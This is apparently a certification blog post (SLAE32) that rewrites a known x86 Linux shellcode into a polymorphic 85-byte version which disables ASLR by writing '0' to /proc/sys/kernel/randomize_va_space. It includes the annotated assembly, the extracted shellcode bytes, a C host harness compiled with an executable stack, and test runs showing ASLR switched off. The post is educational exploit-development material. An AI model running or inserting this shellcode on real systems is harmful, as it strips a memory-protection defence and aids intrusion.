SLAE32 Assignment 6.2 - Polymorphic ASLR Deactivation

17 minute read

Overview

This shellcode is a polymorphic version of Jean Pascal Pereiras x86 ASLR deactivation - 83 bytes shellcode.

  • The final polymorphic version of the shellcode is 85 bytes.
  • The original shellcode can be found at: http://shell-storm.org/shellcode/files/shellcode-813.php

Analyzing the Shellcode

To begin to create a polymorphic version of this shellcode I first had to understand it.

Original Shellcode

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       50                      push   %eax
 8048063:       68 70 61 63 65          push   $0x65636170
 8048068:       68 76 61 5f 73          push   $0x735f6176
 804806d:       68 69 7a 65 5f          push   $0x5f657a69
 8048072:       68 6e 64 6f 6d          push   $0x6d6f646e
 8048077:       68 6c 2f 72 61          push   $0x61722f6c
 804807c:       68 65 72 6e 65          push   $0x656e7265
 8048081:       68 79 73 2f 6b          push   $0x6b2f7379
 8048086:       68 6f 63 2f 73          push   $0x732f636f
 804808b:       68 2f 2f 70 72          push   $0x72702f2f
 8048090:       89 e3                   mov    %esp,%ebx
 8048092:       66 b9 bc 02             mov    $0x2bc,%cx
 8048096:       b0 08                   mov    $0x8,%al
 8048098:       cd 80                   int    $0x80
 804809a:       89 c3                   mov    %eax,%ebx
 804809c:       50                      push   %eax
 804809d:       66 ba 30 3a             mov    $0x3a30,%dx
 80480a1:       66 52                   push   %dx
 80480a3:       89 e1                   mov    %esp,%ecx
 80480a5:       31 d2                   xor    %edx,%edx
 80480a7:       42                      inc    %edx
 80480a8:       b0 04                   mov    $0x4,%al
 80480aa:       cd 80                   int    $0x80
 80480ac:       b0 06                   mov    $0x6,%al
 80480ae:       cd 80                   int    $0x80
 80480b0:       40                      inc    %eax
 80480b1:       cd 80                   int    $0x80
  • This is in the AT&T Assembly format, and not the Intel format.
  • Since I am used to the Intel Syntax, the first thing I did was reformat the code into a nasm file.

Commented Intel Version of the Shellcode

; Filename: offASLR.nasm
; Author:   boku
; Purpose:  Polymorphic version of Jean Pascal Pereiras
;  Linux x86 ASLR deactivation - 83 bytes
; Original: http://shell-storm.org/shellcode/files/shellcode-813.php
global _start
section .text:
_start:
xor    eax,eax    ; clears eax register
push   eax        ; pushes Null onto stack
                  ; Null terminates the string
push   0x65636170
;  python -c 'print "65636170".decode("hex")'
;    ecap
push   0x735f6176
;  python -c 'print "735f6176".decode("hex")'
;    s_av
push   0x5f657a69
;  python -c 'print "5f657a69".decode("hex")'
;    _ezi
push   0x6d6f646e
;  python -c 'print "6d6f646e".decode("hex")'
;    modn
push   0x61722f6c
;  python -c 'print "61722f6c".decode("hex")'
;    ar/l
push   0x656e7265
;  python -c 'print "656e7265".decode("hex")'
;    enre
push   0x6b2f7379
;  python -c 'print "6b2f7379".decode("hex")'
;    k/sy
push   0x732f636f
;  python -c 'print "732f636f".decode("hex")'
;    s/co
push   0x72702f2f
;  python -c 'print "72702f2f".decode("hex")'
;    rp//
; Full String:  //proc/sys/kernel/randomize_va_space
mov    ebx,esp   ; Puts the memory location of our string that
                 ;  is on top of the stack into the ebx register
mov    cx,0x2bc  ; the arguement for the variable `mode_t mode`
                 ; 0x2bc = 700 (deci) = 1274 (ocatal)
; Probably inteded mode argument was for:
; S_IRWXU  00700 user (file owner) has read, write and execute permission
; from man 2 creat:
; Note that this mode only applies to future accesses of the newly created file
; Since the creat() function is being used to open and not create a file,
;  this argument probably does not matter. My guess is it should be
;  in octal 700, and not decimal 700.
mov    al,0x8    ; creat systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_creat                8
; man 2 creat
; open, creat - open and possibly create a file or device
; int creat(const char *pathname, mode_t mode);
;     EAX         EBX               ECX
; mode specifies the permissions to use in case a new file is created.
int    0x80      ; Systemcall Interrupt

; man 2 write
; write - write to a file descriptor
; ssize_t write(int fd, const void *buf, size_t count);
;         EAX     EBX       ECX             EDX
mov    ebx,eax   ; moves the file descripter returned from the
; creat systemcall to the ebx register.
push   eax       ; pushes the file descripter onto the stack
mov    dx,0x3a30
push   dx
mov    ecx,esp   ; points ecx register to the top of the stack
; stack is loaded for the const void *buff arguement
xor    edx,edx   ; Clears the edx register
inc    edx       ; edx is now 1
mov    al,0x4    ; write systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_write                4
int    0x80      ; Systemcall Interrupt

; man 2 close
; close - close a file descriptor
; int close(int fd);
mov    al,0x6     ; close systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_close                6
int    0x80       ; Systemcall Interrupt

; man 2 pidwait
;        pid_t wait(int *status);
;  wait, waitpid, waitid - wait for process to change state
inc    eax        ; waitpid systemcall
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; #define __NR_waitpid              7
int    0x80       ; Systemcall Interrupt

Breaking down the Shellcode

After walking through it step-by-step there were still some things that left me guessing. To figure out what was needed and what some instructions were, I compiled the shellcode and ran it with gdb.
Breaking it down by interrupts there are these systemcalls/ corresponding C functions and what the register values are at the time of the systemcall interrupt int 0x80.

creat() systemcall

 int creat(const char *pathname, mode_t mode);
     EAX         EBX               ECX

EAX: 0x8
EBX: 0xbffff598 ("//proc/sys/kernel/randomize_va_space")
ECX: 0x2bc
EDX: 0x0

write() systemcall

 ssize_t write(int fd, const void *buf, size_t count);
         EAX     EBX       ECX             EDX

EAX: 0x4
EBX: 0x7
ECX: 0xbffff592 --> 0x73a30
EDX: 0x1
  • man ascii reveals that the mov dx,0x3a30 push “0:” onto the stack
  • The Ascii “0” is what is written to the aslr file to disable it.
  • the EDX register is 1, because only one byte “0” is written to the file.
  • ECX points to the memory location holding the ascii “0”

close() systemcall

 int close(int fd);
      EAX    EBX

EAX: 0x6
EBX: 0x7
  • ebx holds the value that was returned from the creat systemcall

wait() systemcall

 pid_t wait(int *status);
        EAX     EBX

EAX: 0x1
EBX: 0x7
  • This function makes it so there is not a segmentation fault.
  • The value of ebx does not matter in the shellcodes case.

Modifying the Shellcode

  • Now that I understood what was going on I first wanted to see what I could strip off.

Removing wait()

The first thing I did was remove the systemcall wait.

  • I compiled and tested the shellcode.
  • It worked as intended. Although it would crash with a segmentation fault after executing.

Removed instructions

inc    eax
int    0x80

Removing Unneeded Instructions

I found that the ecx register was not needed. This is because we were using the creat systemcall to modify a file and not creating a new file.

Looking at the edx register for the write systemcall I found that the instructions used were bulky.

  • Replaced mov dx,0x3a30 & push dx with push 0x30.
  • Reduces the shellcode by 4 bytes!

I also found a push eax instruction that was unneeded in the write systemcall.

user$ msf-nasm_shell
nasm > mov dx,0x3a30
00000000  66BA303A          mov dx,0x3a30
nasm > push dx
00000000  6652              push dx
nasm > push 0x30
00000000  6A30              push byte +0x30

Removed instructions

mov    cx,0x2bc
push   eax
mov    dx,0x3a30
push   dx

Added instructions

push byte +0x30

Polymorphing Instructions

Now that I stripped the shellcode down I decided it was time to start polymorphing instructions.
The first thing I did was replace the systemcall int 0x80 instruction with a call to a label. The label would do two things, the system interrupt and the a ret instrctuion to return to where it was in the code execution before the call instruction was executed.

What our Shellcode Looks like Now

; Filename: offASLR.nasm
; Author:   boku
; Purpose:  Polymorphic version of Jean Pascal Pereira's
;  Linux x86 ASLR deactivation - 83 bytes
; Original: http://shell-storm.org/shellcode/files/shellcode-813.php
global _start
section .text:

_start:
xor    eax,eax
push   eax
push   0x65636170
push   0x735f6176
push   0x5f657a69
push   0x6d6f646e
push   0x61722f6c
push   0x656e7265
push   0x6b2f7379
push   0x732f636f
push   0x72702f2f
mov    ebx,esp
mov    al,0x8
;int    0x80
call syscallInt

mov    ebx,eax
push   0x30
mov    ecx,esp
xor    edx,edx
inc    edx
mov    al,0x4
call syscallInt

mov    al,0x6
call syscallInt

syscallInt:
int 0x80
ret
  • After compiling and testing the shellcode, it still worked.
  • Although there was one flaw. It added a bunch of 0x00 bytes to our shellcode.

Objectdump of the Shellcode

root# objdump -D offASLR.poly5

offASLR.poly5:     file format elf32-i386


Disassembly of section .text::

08048054 <_start>:
 8048054:       31 c0                   xor    %eax,%eax
 8048056:       50                      push   %eax
 8048057:       68 70 61 63 65          push   $0x65636170
 804805c:       68 76 61 5f 73          push   $0x735f6176
 8048061:       68 69 7a 65 5f          push   $0x5f657a69
 8048066:       68 6e 64 6f 6d          push   $0x6d6f646e
 804806b:       68 6c 2f 72 61          push   $0x61722f6c
 8048070:       68 65 72 6e 65          push   $0x656e7265
 8048075:       68 79 73 2f 6b          push   $0x6b2f7379
 804807a:       68 6f 63 2f 73          push   $0x732f636f
 804807f:       68 2f 2f 70 72          push   $0x72702f2f
 8048084:       89 e3                   mov    %esp,%ebx
 8048086:       b0 08                   mov    $0x8,%al
 8048088:       e8 17 00 00 00          call   80480a4 <syscallInt>
 804808d:       89 c3                   mov    %eax,%ebx
 804808f:       6a 30                   push   $0x30
 8048091:       89 e1                   mov    %esp,%ecx
 8048093:       31 d2                   xor    %edx,%edx
 8048095:       42                      inc    %edx
 8048096:       b0 04                   mov    $0x4,%al
 8048098:       e8 07 00 00 00          call   80480a4 <syscallInt>
 804809d:       b0 06                   mov    $0x6,%al
 804809f:       e8 00 00 00 00          call   80480a4 <syscallInt>

080480a4 <syscallInt>:
 80480a4:       cd 80                   int    $0x80
 80480a6:       c3                      ret

Removing the Nulls

To fix the problem, the label syscallInt, was moved to the top of the code.
The first instruction was to jump over the call instruction and begin executing the creat systemcall.

  • Since the label syscallInt ends with a ret, code execution is returned to were the syscallInt function was called from.
  • This changed all the 0x00 bytes to 0xff bytes since the call was moving backwards in the code.
root# objdump -D offASLR.poly6

offASLR.poly6:     file format elf32-i386


Disassembly of section .text::

08048054 <_start>:
 8048054:       eb 03                   jmp    8048059 <creat>

08048056 <syscallInt>:
 8048056:       cd 80                   int    $0x80
 8048058:       c3                      ret

08048059 <creat>:
 8048059:       31 c0                   xor    %eax,%eax
 804805b:       50                      push   %eax
 804805c:       68 70 61 63 65          push   $0x65636170
 8048061:       68 76 61 5f 73          push   $0x735f6176
 8048066:       68 69 7a 65 5f          push   $0x5f657a69
 804806b:       68 6e 64 6f 6d          push   $0x6d6f646e
 8048070:       68 6c 2f 72 61          push   $0x61722f6c
 8048075:       68 65 72 6e 65          push   $0x656e7265
 804807a:       68 79 73 2f 6b          push   $0x6b2f7379
 804807f:       68 6f 63 2f 73          push   $0x732f636f
 8048084:       68 2f 2f 70 72          push   $0x72702f2f
 8048089:       89 e3                   mov    %esp,%ebx
 804808b:       b0 08                   mov    $0x8,%al
 804808d:       e8 c4 ff ff ff          call   8048056 <syscallInt>
 8048092:       89 c3                   mov    %eax,%ebx
 8048094:       6a 30                   push   $0x30
 8048096:       89 e1                   mov    %esp,%ecx
 8048098:       31 d2                   xor    %edx,%edx
 804809a:       42                      inc    %edx
 804809b:       b0 04                   mov    $0x4,%al
 804809d:       e8 b4 ff ff ff          call   8048056 <syscallInt>
 80480a2:       b0 06                   mov    $0x6,%al
 80480a4:       e8 ad ff ff ff          call   8048056 <syscallInt>

Final Assembly Code

; Filename: offASLR.nasm
; Author:   boku
; Purpose:  Polymorphic version of Jean Pascal Pereiras
;  Linux x86 ASLR deactivation - 83 bytes
; Original: http://shell-storm.org/shellcode/files/shellcode-813.php
global _start
section .text:

_start:

jump:
jmp short creat

syscallInt:
int 0x80
ret

creat:
xor    eax,eax
push   eax
push   0x65636170
push   0x735f6176
push   0x5f657a69
push   0x6d6f646e
push   0x61722f6c
push   0x656e7265
push   0x6b2f7379
push   0x732f636f
push   0x72702f2f
mov    ebx,esp
mov    al,0x8
call syscallInt

mov    ebx,eax
push   0x30
mov    ecx,esp
xor    edx,edx
inc    edx
mov    al,0x4
call syscallInt

mov    al,0x6
call syscallInt

Testing the Final Code

Assembly the Shellcode

 root# nasm -f elf32 offASLR.poly6.nasm -o offASLR.poly6.o
 root# ld offASLR.poly6.o -o offASLR.poly6

Testing the Shellcode

 root# echo '2' > /proc/sys/kernel/randomize_va_space
 root# cat /proc/sys/kernel/randomize_va_space
 2
 root# ./offASLR.poly6
 Segmentation fault (core dumped)
 root# cat /proc/sys/kernel/randomize_va_space
 0

Testing the Shellcode in a Host Program

root# objdump -D offASLR.poly6 | grep '[0-9a-f]:' | grep -v 'file' | \
cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | \
sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | \
sed 's/^/"/' | sed 's/$/"/g'
"\xeb\x03\xcd\x80\xc3\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f"
"\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68"
"\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f"
"\x70\x72\x89\xe3\xb0\x08\xe8\xc4\xff\xff\xff\x89\xc3\x6a\x30\x89\xe1"
"\x31\xd2\x42\xb0\x04\xe8\xb4\xff\xff\xff\xb0\x06\xe8\xad\xff\xff\xff"

Adding the Shellcode to the Host C Program

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x03\xcd\x80\xc3\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f"
"\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68"
"\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f"
"\x70\x72\x89\xe3\xb0\x08\xe8\xc4\xff\xff\xff\x89\xc3\x6a\x30\x89\xe1"
"\x31\xd2\x42\xb0\x04\xe8\xb4\xff\xff\xff\xb0\x06\xe8\xad\xff\xff\xff"
main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Compiling the C Program

root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c 

Testing the Injected Shellcode

root# echo 2 > /proc/sys/kernel/randomize_va_space
root# cat /proc/sys/kernel/randomize_va_space
2
root# ./shellcode
Shellcode Length:  85
Segmentation fault (core dumped)
root# cat /proc/sys/kernel/randomize_va_space
0
  • Great Success! The polymorphic Shellcode works as intended by itself and when injected into another program!

SLAE32 Blog Proof

This blog post has been created for completing the requirements
 of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
	- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913

Updated: